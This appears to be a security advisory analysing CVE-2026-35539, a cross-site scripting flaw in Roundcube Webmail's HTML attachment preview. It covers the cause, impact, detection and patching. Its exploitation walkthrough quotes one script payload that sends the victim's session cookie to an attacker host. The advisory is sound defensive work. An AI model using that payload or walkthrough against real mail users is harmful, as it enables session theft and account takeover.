CVE-2026-35539: 
PHP vulnerability analysis and mitigation

CVE-2026-35539 is a stored/reflected Cross-Site Scripting (XSS) vulnerability in Roundcube Webmail caused by insufficient HTML attachment sanitization in preview mode. An attacker can embed malicious JavaScript in a text/html email attachment; when a victim previews the attachment, the script executes in their browser session. Affected versions are all Roundcube Webmail releases before 1.5.14 and 1.6.x versions before 1.6.14. The vulnerability was disclosed on March 18, 2026, when Roundcube released patched versions, and was publicly registered on April 3, 2026. It carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory, Roundcube Release).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting): Roundcube's attachment preview handler in rcmail_action.php (1.6.x) and rcube_uploads.php (1.7-rc5) served text/html attachments without a restrictive Content-Security-Policy header, allowing embedded JavaScript to execute in the browser context. The fix adds Content-Security-Policy: script-src 'none' to the HTTP response when displaying uploaded/attached files, blocking all script execution during preview. Exploitation requires no authentication or special privileges — any attacker who can send an email to a Roundcube user can craft a malicious HTML attachment. The vulnerability was reported by aikido_security and patched in commits 10a6d1f (1.6.x) and 1b30edf (1.7-rc5) (Commit 10a6d1f, Commit 1b30edf).

Successful exploitation allows an attacker to execute arbitrary JavaScript within the victim's authenticated Roundcube session. This can lead to session cookie theft, account takeover, unauthorized reading or deletion of emails, sending emails on behalf of the victim, and redirection to malicious websites. The scope is marked as "Changed" in the CVSS vector, meaning the impact extends beyond the vulnerable component itself. Confidentiality and integrity are both affected (low impact each), while availability is not directly impacted (GitHub Advisory).

No public proof-of-concept exploit code is known to exist, and there is no evidence of in-the-wild exploitation at this time. The attack requires user interaction — specifically, the victim must open the preview of a text/html email attachment — but requires no authentication or privileges from the attacker side. The EPSS score is approximately 0.036% (0.000360), indicating a low current probability of exploitation in the wild. This CVE is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory, Feedly).

1. Craft malicious HTML attachment: Create an HTML file containing a JavaScript payload, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie;</script>, designed to exfiltrate the victim's session cookie or perform actions on their behalf.
2. Send email to target: Compose and send an email to the target Roundcube user with the malicious HTML file attached as a text/html MIME-type attachment. No authentication to the target's mail server is required — any external email sender can deliver this.
3. Wait for victim interaction: The attack is triggered only when the victim clicks to preview the HTML attachment within the Roundcube webmail interface on a vulnerable version (before 1.5.14 or 1.6.14).
4. JavaScript executes in session context: Because the vulnerable versions do not set a Content-Security-Policy: script-src 'none' header when serving the attachment preview, the browser executes the embedded JavaScript within the Roundcube origin, giving the script access to session cookies and the DOM.
5. Achieve objective: The attacker receives the stolen session token, uses it to hijack the victim's Roundcube session, and can read emails, send messages, or perform further actions as the victim (Commit 10a6d1f, GitHub Advisory).

• Network: Outbound HTTP requests from the Roundcube server's client-side (browser) to unexpected external domains shortly after a user previews an HTML attachment; unusual POST or GET requests to attacker-controlled URLs containing encoded cookie or session data.
• Logs: Roundcube access logs showing requests to the attachment preview endpoint (e.g., ?_task=mail&_action=get&_mbox=...&_uid=...&_part=...) for text/html MIME-type attachments from accounts that subsequently show anomalous activity (e.g., unexpected sent emails, login from new IPs).
• Session/Auth: Multiple simultaneous sessions for the same user account from geographically disparate IP addresses; session tokens appearing in external server logs indicating cookie theft.
• Email: Presence of emails in user inboxes containing text/html attachments with embedded <script> tags or obfuscated JavaScript, particularly from unknown or external senders.

Roundcube released patched versions on March 18, 2026: upgrade to 1.5.14 (for 1.5.x branch), 1.6.14 (for 1.6.x branch), or 1.7-rc5 (for 1.7 pre-release users). The fix adds a strict Content-Security-Policy: script-src 'none' HTTP response header to the attachment preview handler, preventing JavaScript execution. As a temporary workaround until patching is possible, administrators should advise users to avoid previewing HTML attachments from untrusted or unknown senders, and consider disabling HTML attachment preview functionality at the server level if feasible. Monitor for suspicious session activity as an additional precaution (Roundcube Release, 1.6.14 Release, 1.5.14 Release).

The vulnerability was reported to Roundcube by aikido_security and was addressed as part of a broader security update batch on March 18, 2026, which also fixed several other significant issues including a pre-auth arbitrary file write and IMAP injection. Debian and Fedora Linux distributions subsequently issued their own security advisories and package updates for Roundcube, indicating broad downstream awareness. No notable independent researcher commentary or significant social media discussion beyond standard vulnerability tracking has been observed (1.6.14 Release, GitHub Advisory).